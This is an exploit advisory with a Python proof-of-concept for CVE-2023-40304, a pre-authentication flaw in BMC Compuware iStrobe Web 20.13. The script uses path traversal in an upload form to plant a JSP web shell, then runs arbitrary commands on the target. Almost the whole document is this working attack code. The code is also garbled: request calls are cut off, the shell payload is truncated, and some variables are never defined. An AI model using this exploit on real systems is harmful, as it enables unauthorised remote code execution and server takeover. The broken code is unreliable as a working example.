Authored by trancap

BMC Compuware iStrobe Web version 20.13 suffers from a remote shell upload vulnerability.

advisories | CVE-2023-40304

#!/usr/bin/env python3

# Exploit Title: Pre-auth RCE on Compuware iStrobe Web
# Date: 01-08-2023
# Exploit Author: trancap
# Vendor Homepage:
# Version: BMC Compuware iStrobe Web - 20.13
# Tested on: zOS# CVE : CVE-2023-40304
# To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)
# The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed.

import requests
import urllib.parse
import argparse
import sys

def upload_web_shell(url):
data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@
page import="java.lang.*,*,java.util.*" %><%Process
stdInput = new BufferedReader(new
InputStreamReader(p.getInputStream()));BufferedReader stdError = new
BufferedReader(new InputStreamReader(p.getErrorStream()));String
s="";while((s=stdInput.readLine()) !=
null){out.println(s);};s="";while((s=stdError.readLine()) !=
# If encoded, the web shell will not be uploaded properly
data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!')

# Checking if web shell already uploaded
r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False)
if r.status_code != 404:

r ="{url}/istrobe/userHelp/saveUserHelp", data=data,

if r.status_code == 200:
print(f"[+] Successfully uploaded web shell, it should be
accessible at {url}/istrobe/jsp/userhelp/ws.jsp")
sys.exit("[-] Something went wrong while uploading the web shell")

def delete_web_shell(url):
paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"}
response ="",
data=paramsPost, headers=headers, cookies=cookies)

if r.status_code == 200:
print(f"[+] Successfully deleted web shell")
sys.exit("[-] Something went wrong while deleting the web shell")

def run_cmd(url, cmd):
data = f"cmd={cmd}"
r ="{url}/istrobe/jsp/userhelp/ws.jsp", data=data,

if r.status_code == 200:
sys.exit(f'[-] Something went wrong while executing "{cmd}" command')

parser = argparse.ArgumentParser(prog='', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE')
parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://')
parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami')
parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true')
args = parser.parse_args()

run_cmd(args.url, args.cmd)

if args.rm: